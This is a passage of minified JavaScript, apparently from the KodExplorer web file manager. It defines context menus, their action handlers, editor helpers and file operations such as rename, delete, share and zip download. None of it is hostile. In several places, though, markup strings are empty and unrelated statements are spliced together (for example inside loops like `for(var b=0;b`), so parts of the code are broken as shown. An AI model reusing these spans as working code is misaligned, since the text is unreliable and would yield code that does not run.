":{name:LNG.open,className:"hidden"}},callback:function(a,b){}})},u=function(){$.contextMenu({selector:".menu-default",zIndex:9999,items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"}},callback:function(a,b){switch(a){case"open":ui.path.open()}}})},v=function(){$.contextMenu({selector:Config.BodyContent,zIndex:9999,callback:function(a,b){E(a)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep0:"--------",upload:{name:LNG.upload+"Ctrl+U",className:"upload",icon:"upload",accesskey:"u"},newfolder:{name:LNG.newfolder+"Alt+M",className:"newfolder",icon:"folder-close-alt",accesskey:"n"},"new-file-other":l["new-file-other"],sep1:"--------",past:{name:LNG.past+"Ctrl+V",className:"past",icon:"paste",accesskey:"p"},"copy-see":{name:LNG.clipboard,className:"copy-see",icon:"eye-open",accesskey:"v"},sep2:"--------","sort-by":l["sort-by"],"set-file-icon-size":l["set-file-icon-size"],"app-install":{name:LNG.app_store,className:"app-install",icon:"tasks",accesskey:"a"},sep10:"--------","setting-wall":{name:LNG.setting_wall,className:"setting-wall",icon:"picture",accesskey:"b"},"setting-theme":{name:LNG.setting_theme,className:"setting-theme",icon:"dashboard",accesskey:"i"},setting:{name:LNG.setting,className:"setting",icon:"cogs",accesskey:"t"}}})},w=function(){$.contextMenu({zIndex:9999,selector:".toolbar-path-more",className:"menu-tool-path menu-not-auto-hidden",callback:function(a,b){F(a),$(".toolbar-path-more").removeClass("active")},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more-action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},"open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe",accesskey:"b"},sep103:"--------","create-link":{name:LNG.createLink,className:"create-link",icon:"share-alt"},"create-project":{name:LNG.createProject,className:"create-project",icon:"plus"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},x=function(){$.contextMenu({zIndex:9999,selector:".tool-path-newfile",className:"tool-path-newfile",callback:function(a,b){F(a)},items:l["new-file-other"].items})},y=function(){$.contextMenu({zIndex:9999,selector:".tool-path-upload",className:"tool-path-upload",callback:function(a,b){switch(core.upload(),a){case"upload-file":$(".dialog-file-upload").hide(),setTimeout(function(){$("#picker .webuploader-element-invisible").click()},100);break;case"upload-folder":$(".dialog-file-upload").hide(),setTimeout(function(){$(".drag-upload-folder").click()},100);break;case"server-download":$(".tab-download").click(),$(".download-box input").focus()}},items:{"upload-file":{name:LNG.file,icon:"-",className:"upload"},"upload-folder":{name:LNG.folder,icon:"-",className:"upload upload-folder"},sep2:"--------","server-download":{name:LNG.download_from_server,icon:"-",className:"download"}}}),$.isIE(),$.supportUploadFolder()||$(".tool-path-upload .upload.upload-folder").addClass("hidden")},z=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:d,className:d.substr(1),callback:function(a,b){F(a)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------","open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe",accesskey:"b"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more-action",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link"},fav:{name:LNG.add_to_fav,className:"fav ",icon:"star",accesskey:"f"},sep103:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"create-link":{name:LNG.createLink,className:"create-link",icon:"share-alt"},"create-project":{name:LNG.createProject,className:"create-project",icon:"plus"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"}}},sep5:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},A=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:c,className:c.substr(1),callback:function(a,b){F(a)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename+"F2",className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep2:"--------","open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe",accesskey:"b"},"set-background":{name:LNG.set_background,className:"set-background",icon:"picture",accesskey:"x"},others:{name:LNG.more,icon:"ellipsis-horizontal",className:"more-action",accesskey:"m",items:{clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},sep104:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"create-link":{name:LNG.createLink,className:"create-link",icon:"share-alt"}}},sep3:"--------",info:{name:LNG.info+"Alt+I",className:"info",icon:"info",accesskey:"i"}}})},B=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(a,b){F(a)},items:{copy:{name:LNG.copy+"Ctrl+C",className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute+"Ctrl+X",className:"cute",icon:"cut",accesskey:"k"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep001:"--------",remove:{name:LNG.remove+"Del",className:"remove",icon:"trash",accesskey:"d"},sep1:"--------","copy-to":{name:LNG.copy_to,className:"copy-to",icon:"copy"},"cute-to":{name:LNG.cute_to,className:"cute-to",icon:"cut"},sep2:"--------",clone:{name:LNG.clone+"Ctrl+C",className:"clone",icon:"external-link",accesskey:"n"},sep3:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},C=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-group-root",callback:function(a,b){F(a)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep1:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-group-root-more",callback:function(a,b){F(a)},items:{refresh:{name:LNG.refresh+"F5",className:"refresh",icon:"refresh",accesskey:"e"}}})},D=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-fav-path",callback:function(a,b){F(a)},items:{open:{name:LNG.open+"Enter",className:"open",icon:"external-link",accesskey:"o"},sep0:"--------","fav-remove":{name:LNG.fav_remove,className:"fav-remove",icon:"trash",accesskey:"r"},"fav-page":{name:LNG.manage_fav,className:"fav-page",icon:"star",accesskey:"f"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-fav-path-more",className:"menu-fav-path-more",callback:function(a,b){F(a)},items:{"fav-remove":{name:LNG.fav_remove,className:"fav-remove",icon:"trash",accesskey:"r"}}})},E=function(a){switch(a){case"refresh":ui.f5(!0,!0);break;case"back":ui.path.history.back();break;case"next":ui.path.history.next();break;case"set-icon":ui.setListType("icon");break;case"set-list":ui.setListType("list");break;case"set-split":ui.setListType("split");break;case"set-sort-name":ui.setListSort("name",0);break;case"set-sort-ext":ui.setListSort("ext",0);break;case"set-sort-size":ui.setListSort("size",0);break;case"set-sort-mtime":ui.setListSort("mtime",0);break;case"set-sort-up":ui.setListSort(0,"up");break;case"set-sort-down":ui.setListSort(0,"down");break;case"upload":core.upload(),$(".dialog-file-upload").hide(),setTimeout(function(){$("#picker .webuploader-element-invisible").click()},100);break;case"recycle-clear":ui.path.recycleClear();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(100);break;case"box-size-bigx":ui.setFileIconSize(120);break;case"past":ui.path.past();break;case"copy-see":ui.path.clipboard();break;case"newfolder":ui.path.newFolder();break;case"newfile":ui.path.newFile("txt");break;case"newfile-null":ui.path.newFile("");break;case"newfile-md":ui.path.newFile("md");break;case"newfile-html":ui.path.newFile("html");break;case"newfile-php":ui.path.newFile("php");break;case"newfile-js":ui.path.newFile("js");break;case"newfile-css":ui.path.newFile("css");break;case"newfile-oexe":ui.path.newFile("oexe");break;case"newfile-docx":ui.path.newFile("docx");break;case"newfile-xlsx":ui.path.newFile("xlsx");break;case"newfile-pptx":ui.path.newFile("pptx");break;case"info":ui.path.info();break;case"open":ui.path.open();break;case"app-install":ui.path.appList();break;case"setting":core.setting();break;case"setting-theme":core.setting("theme");break;case"setting-wall":core.setting("wall")}},F=function(a){switch(a){case"open":ui.path.open();break;case"down":ui.path.download();break;case"share":ui.path.share();break;case"open-browser":ui.path.openWindow();break;case"share-edit":ui.path.shareEdit();break;case"share-open-window":ui.path.shareOpenWindow();break;case"share-open-path":ui.path.shareOpenPath();break;case"fav":ui.path.fav();break;case"search":ui.path.search();break;case"copy":ui.path.copy();break;case"clone":ui.path.copyDrag(G.thisPath,!0);break;case"cute":ui.path.cute();break;case"cute-to":ui.path.cuteTo();break;case"copy-to":ui.path.copyTo();break;case"remove":ui.path.remove();break;case"rname":ui.path.rname();break;case"set-background":ui.path.setBackground();break;case"create-link-home":ui.path.createLink(!1);break;case"create-link":ui.path.createLink(!0);break;case"create-project":ui.path.createProject();break;case"open-project":ui.path.openProject();break;case"explorer":ui.path.explorer();break;case"explorer-new":ui.path.explorerNew();break;case"fav-page":core.setting("fav");break;case"fav-remove":ui.path.favRemove();break;case"info":ui.path.info();break;default:E(a)}},H=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-tree-fav-root",callback:function(a,b){P(a)},items:{"fav-page":{name:LNG.manage_fav,className:"fav-page",icon:"star",accesskey:"r"},sep1:"--------",refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}}),$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".menu-tree-fav",callback:function(a,b){P(a)},items:{"fav-remove":{name:LNG.fav_remove,className:"fav-remove",icon:"trash",accesskey:"r"},"fav-page":{name:LNG.manage_fav,className:"fav-page",icon:"star",accesskey:"f"},sep2:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},I=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:f,callback:function(a,b){P(a)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},newfile:{name:LNG.newfile,className:"newfile",icon:"file-text-alt",accesskey:"j"},sep2:"--------",fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"}}})},J=function(){$('').appendTo("#rightMenu"),$('').appendTo("#rightMenu");var a={zIndex:9999,selector:".menu-tree-folder",callback:function(a,b){P(a)},items:{download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},"open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep105:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'',className:"info",icon:"info",accesskey:"i"}}};$.contextMenu(a);var b={"fav-remove":{name:LNG.fav_remove,className:"fav-remove",icon:"trash",accesskey:"r"},"fav-page":{name:LNG.manage_fav,className:"fav-page",icon:"star",accesskey:"f"},sep0:"--------"};a.selector=".menu-tree-folder-fav",a.items=$.extend(b,a.items,!0),$.contextMenu(a)},K=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:g,callback:function(a,b){P(a)},items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},refresh:{name:LNG.refresh_tree,className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},past:{name:LNG.past,className:"past",icon:"paste",accesskey:"p"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------",newfolder:{name:LNG.newfolder,className:"newfolder",icon:"folder-close-alt",accesskey:"n"},"new-file-other":l["new-file-other"],search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},"open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more-action",items:{explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},sep106:"--------","create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"},"open-project":{name:LNG.openProject,className:"open-project",icon:"edit"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},L=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,callback:function(a,b){P(a)},items:{refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"e"}}})},M=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:j,callback:function(a,b){P(a)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"}}})},N=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:k,callback:function(a,b){var c=b.$trigger;c.hasClass("file")?F(a):P(a)},items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star",accesskey:"f"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"}}})},O=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,className:h.substr(1),selector:h,callback:function(a,b){P(a)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},"open-with":{name:LNG.open_with,icon:"external-link",className:"open-with",accesskey:"a",items:{"open-with-first":{name:"",className:"hidden open-with-first"}}},download:{name:LNG.download,className:"download",icon:"cloud-download",accesskey:"x"},sep1:"--------",copy:{name:LNG.copy,className:"copy",icon:"copy",accesskey:"c"},cute:{name:LNG.cute,className:"cute",icon:"cut",accesskey:"k"},rname:{name:LNG.rename,className:"rname",icon:"pencil",accesskey:"r"},remove:{name:LNG.remove,className:"remove",icon:"trash",accesskey:"d"},sep2:"--------","open-browser":{name:LNG.open_ie,className:"open-browser",icon:"globe"},clone:{name:LNG.clone,className:"clone",icon:"external-link",accesskey:"l"},others:{name:LNG.more,icon:"ellipsis-horizontal",accesskey:"m",className:"more-action",items:{fav:{name:LNG.add_to_fav,className:"fav",icon:"star"},share:{name:LNG.share,className:"share",icon:"share-sign",accesskey:"e"},"create-link-home":{name:LNG.createLinkHome,className:"create-link-home",icon:"location-arrow",accesskey:"l"}}},sep3:"--------",info:{name:LNG.info+'Alt+I',className:"info",icon:"info",accesskey:"i"}}})},P=function(a){switch(a){case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"copy":ui.tree.copy();break;case"cute":ui.tree.cute();break;case"past":ui.tree.past();break;case"clone":ui.tree.clone();break;case"rname":ui.tree.rname();break;case"remove":ui.tree.remove();break;case"info":ui.tree.info();break;case"cute-to":ui.tree.cuteTo();break;case"copy-to":ui.tree.copyTo();break;case"download":ui.tree.download();break;case"open-browser":ui.tree.openWindow();break;case"search":ui.tree.search();break;case"share":ui.tree.share();break;case"search":ui.tree.search();break;case"newfolder":ui.tree.create("folder");break;case"newfile":ui.tree.create("txt");break;case"newfile-html":ui.tree.create("html");break;case"newfile-php":ui.tree.create("php");break;case"newfile-js":ui.tree.create("js");break;case"newfile-css":ui.tree.create("css");break;case"newfile-oexe":ui.tree.create("oexe");break;case"explorer":ui.tree.explorer();break;case"open-project":ui.tree.openProject();break;case"fav-page":core.setting("fav");break;case"fav":ui.tree.fav();break;case"create-link-home":ui.tree.createLink(!1);break;case"fav-remove":ui.tree.favRemove();break;case"refresh-all":ui.tree.init();break;case"quit":}};return{initDesktop:n,initExplorer:m,initEditor:o}});;define("app/src/editor/ui",[],function(a,b,c){var d=function(){$(".tools-left a").click(function(a){var b=$(this).attr("class");switch(b){case"home":tree.init();break;case"view":tree.explorer();break;case"folder":tree.create("folder");break;case"file":tree.create("txt");break;case"refresh":tree.refresh()}})};return{init:function(){tree.init(),d(),Mousetrap.bind(["ctrl+s","command+s"],function(a){a.preventDefault(),a.returnvalue=!1,ShareData.frameTop("OpenopenEditor",function(a){a.Editor.save()})})},setTheme:function(a){core.setSkin(a),ShareData.frameTop("OpenopenEditor",function(b){b.Editor.setTheme(a)})},editorFull:function(){var a=$("iframe[name=OpenopenEditor]");a.toggleClass("frame-fullscreen")},fileHistory:function(a){var b=G.project;if("undefined"!=typeof G.sid&&(b=b+"__"+G.sid),b="editorHistory_"+b,void 0==a){var c=LocalData.get(b);return c=jsonDecode(c),$.isArray(c)||(c=[]),c}LocalData.set(b,jsonEncode(a))}}});;define("app/path/path",["./pathOperate","./tpl/fileinfo/fileInfo.html","./tpl/fileinfo/pathInfo.html","./tpl/share.html","./tpl/fileinfo/pathInfoMore.html","./tpl/appEdit.html","./clipboard","./search","./tpl/search.html","./tpl/searchList.html","./tpl/file/create.html"],function(a,b){var c=a("./pathOperate"),d=a("./clipboard"),e=a("./search"),f=void 0,g=function(){if(_.get(G,"jsonData.info.pathType")==G.KOD_USER_RECYCLE||_.get(G,"jsonData.info.pathType")==G.KOD_USER_SHARE)return!0;if(ui.fileLight){var a=ui.fileLight.fileListSelect();if(a.hasClass("systemBox"))return Tips.tips(LNG.path_can_not_action,"warning"),!1}return!0},h=function(a,b,c,d){if(a){if(!core.isApp("explorer"))return void core.explorer(a);if(a==G.thisPath)return void(void 0!=b&&""!=b&&Tips.tips(LNG.path_is_current,"info"));G.thisPath=a.replace(/\\/g,"/"),G.thisPath=a.replace(/\/+/g,"/"),"/"!=G.thisPath.substr(G.thisPath.length-1)&&(G.thisPath+="/");var e=$(".dialog-file-upload");if(e.length>0){var f="none"==e.css("display")||"hidden"==e.css("visibility");f||core.upload()}if("undefined"!=typeof G.sid&&(window.location.href="#"+urlEncode(G.thisPath)),core.playSound("folder_open"),d||ui.path.history.add(G.thisPath),"split"==G.userConfig.listType){var g=$(".split-box .file[data-path="+pathHashEncode(G.thisPath)+"]");if(0!=g.length&&0!=g.find(".children-more-cert").length)return void g.click();$(".file-list-split .split-box").remove()}ui.f5Callback(function(){"function"==typeof c&&c()})}},i=function(){var a=[],b=60,c=0,d=function(d){var e=a.length-1;return e==c&&a[e]==d?g():(c!=e&&(a=a.slice(0,c+1)),a[a.length-1]!=d&&a.push(d),a.length>=b&&(a=a.slice(1)),c=a.length-1,void g())},e=function(){c+1<=a.length-1&&(h(a[++c],"","",!0),g())},f=function(){c-1>=0&&(h(a[--c],"","",!0),g())},g=function(){var b="disable",d=a.length-1;$("#btn-history-next").addClass(b),$("#btn-history-back").addClass(b),(0!=c||0!=d)&&(c>0&&d>=c&&$("#btn-history-back").removeClass(b),c>=0&&c!=d&&$("#btn-history-next").removeClass(b))};return{add:d,back:f,next:e,list:function(){return a}}}(),j=function(a){if(void 0!=a){"string"==typeof a&&(a=[a]);for(var b=0;b";"icon"==G.userConfig.listType&&(i="",b.css({height:b.height()})),$(b).addClass("file-icon-edit").find(".title").html("
        "+i+"
        ");var j=$("#pathRenameTextarea");"split"==G.userConfig.listType&&j.css({width:j.parents(".filename").width()-32,height:j.parents(".filename").height()+1});var k=d.length;"folder"!=f&&-1!=d.indexOf(".")&&(k=d.length-f.length-1),f||0!=d.indexOf(".")?j.textSelect(0,k):j.textSelect(0,d.length);var l=function(g){"oexe"==f&&(g+=".oexe");if(g!=d)a=e+d,g=e+g,c.rname(a,g,function(a){a===!1?$(b).removeClass("file-icon-edit").find(".title").html(htmlEncode(d)):r(a)});else{var h=d;".oexe"==h.substr(-5)&&(h=h.substr(0,h.length-5)),$(b).removeClass("file-icon-edit").find(".title").html(htmlEncode(h))}};j.focus().autoTextarea(),j.keydown(function(a){13==a.keyCode&&(a.preventDefault(),stopPP(a),l(j.attr("value"))),27==a.keyCode&&("oexe"==f&&(d=d.replace(".oexe","")),$(b).removeClass("file-icon-edit").find(".title").html(d))}).unbind("blur").blur(function(){l(j.val())})}},r=function(a){ui.fileLight.clear(),ui.f5Callback(function(){j(a),core.isApp("explorer")&&ui.tree.checkIfChange(G.thisPath)})},s=function(a){var b={},c=[];a.sort(function(a,b){return a.path==b.path?0:a.path>b.path?1:-1});for(var d=function(a){for(var c=a;""!=a;){if("undefined"!=typeof b[a])return 1==b[a]?!0:c==a?(b[a]=1,!1):!0;a=core.pathFather(a)}return!1},e=0;e1?c.zipDownload(a):$.each(a,function(){kodApp.download(this.path)})},shareEdit:function(){var a=u("path",t().path);try{var b=G.jsonData.shareList[a.sid];c.shareBox(b)}catch(d){}},shareOpenWindow:function(){var a=u("path",t().path),b="file";"folder"==a.type&&(b=1==a.codeRead?"codeRead":"folder");var c=G.appHost+"share/"+b+"&user="+G.jsonData.info.id+"&sid="+a.sid;window.open(c)},shareOpenPath:function(){var a=t(),b=u("path",a.path);if(!b||!G.jsonData.shareList)return void kodApp.open(a.path,a.type);var c=G.jsonData.shareList[b.sid],d=core.pathFather(c.path),e=core.pathThis(c.path);"folder"==c.type?ui.path.list(c.path,""):ui.path.list(d,"",function(){j(e)})},explorer:function(){core.explorer(t().path)},explorerNew:function(){window.open(G.appHost+"explorer&path="+t().path)},openProject:function(){core.explorerCode(t().path)},search:function(a,b){return a?void e(a,b):void e("",t().path)},fav:function(){var a=t(),b=ui.fileLight.fileListSelect().last();a.name=trim(b.find(".filename").text()),c.fav(a)},recycleClear:function(){c.remove([{type:"recycle-clear",path:""}],function(){ui.f5()})},remove:function(a,b,d){if(G.jsonData.info&&g()){var e=t(!0);G.jsonData.info&&G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id==G.userID&&-1==trim(G.thisPath,"/").indexOf("/")&&$.each(e,function(a,b){var c=u("path",e[a].path);void 0!=c&&(e[a].type="share",e[a].path=c.sid)}),d?c.remove(e,d,a,b):c.remove(e,r,a,b)}},favRemove:function(){var a=$(".file.select .filename");a.each(function(b){var d=trim($(this).text());b!=a.length-1?c.favRemove(d,"",!0):c.favRemove(d,function(a){Tips.tips(a),ui.tree.refreshFav()},!0)})},clipboard:function(){d.clipboard()},copy:function(){g()&&d.copy(t(!0))},cute:function(){g()&&d.cute(t(!0),ui.f5)},cuteDrag:function(a){d.cuteDrag(t(!0),a,r)},copyDrag:function(a,b){d.copyDrag(t(!0),a,r,b)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(a){d.copyDrag(t(!0),a,r,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(a){d.cuteDrag(t(!0),a,r)})},past:function(){var a=G.thisPath;"split"==G.userConfig.listType&&($containBox=$(".split-box.split-select"),1==$containBox.length&&(a=ui.fileLight.path($containBox))),d.past(a,r)},info:function(){c.info(t(!0))},newFile:function(a){void 0==a&&(a="txt"),p("file",n(LNG.newfile,a),a)},newFolder:function(){p("folder",n(LNG.newfolder),"")},shareFile:function(){var a=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(t().path);window.open(a)},rname:q,list:h,setSearchByStr:l,setSelectByChar:k,setSelectByFilename:j}});;define("app/path/pathOperate",["./tpl/fileinfo/fileInfo.html","./tpl/fileinfo/pathInfo.html","./tpl/share.html","./tpl/fileinfo/fileInfo.html","./tpl/fileinfo/pathInfo.html","./tpl/fileinfo/pathInfoMore.html","./tpl/appEdit.html"],function(a,b){tplFileInfo=a("./tpl/fileinfo/fileInfo.html"),tplPathInfo=a("./tpl/fileinfo/pathInfo.html");var c=["/","\\",":","*","?",'"',"<",">","|"],d=["/","\\"],e=function(a){var b=function(a,b){for(var c=b.length,d=0;c>d;d++)if(a.indexOf(b[d])>0)return!0;return!1},e=d;return G.systemOS&&"windows"==G.systemOS&&(e=c),b(a,e)?(Tips.tips(LNG.path_not_allow+": "+e.join(", "),!1),!1):!0},f=function(a){for(var b=[],c=function(a){return a?a.replace(/"/g,'\\\\"'):a},d=0;d";"share"==a[0].type&&G.selfShare[a[0].path]&&(j=""+htmlEncode(G.selfShare[a[0].path].name)+""),g=a.length>1?j+' ... '+a.length+LNG.remove_item+"
        "+g:j+"
        "+g}var k=function(){$.ajax({url:h,type:"POST",dataType:"json",data:i,beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(c){if(Tips.close(c),ShareData.frameTop("",function(a){a.ui.f5()}),"share"==a[0].type){G.selfShare=c.info;var d=$.dialog.list["share-dialog"];d&&d.close()}e==LNG.recycle_clear?core.playSound("recycle_clear"):core.playSound("file_remove"),"function"==typeof b&&b(c)}})};c?k():$.dialog({id:"dialog-path-remove",fixed:!0,icon:"question",title:e,padding:"40px 40px",lock:!0,background:"#000",opacity:.1,content:"
        "+g+"
        ",ok:k,cancel:!0})}},k=function(a){if(core.authCheck("explorer.fileDownload",!0)&&!(a.length<1)){var b=G.appHost+"explorer/zipDownload";"undefined"!=typeof G.sharePage&&(b=G.appHost+"share/zipDownload&user="+G.user+"&sid="+G.sid),$.ajax({url:b,type:"POST",dataType:"json",data:f(a),beforeSend:function(){Tips.loading(LNG.zip_download_ready)},error:core.ajaxError,success:function(a){Tips.close(a),Tips.tips(a);var b=G.appHost+"explorer/fileDownloadRemove&path="+urlEncode(a.info);b+="&accessToken="+G.accessToken,"undefined"!=typeof G.sharePage&&(b=G.appHost+"share/fileDownloadRemove&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a.info)),$.dialog({icon:"succeed",title:!1,time:2,content:LNG.download_ready+"..."}),$('').appendTo("body")}})}},l=function(a,b,c){a.length<1||(c||(c="zip"),$.ajax({url:G.appHost+"explorer/zip&fileType="+c,type:"POST",dataType:"json",data:f(a),beforeSend:function(){Tips.loading(LNG.ziping)},error:core.ajaxError,success:function(a){Tips.close(a),a.code&&core.playSound("drag_drop"),"function"==typeof b&&b(a.info)}}))},m=function(a,b,c){if(a){var d=function(a){$.ajax({url:a,beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(a){Tips.close(a),"function"==typeof 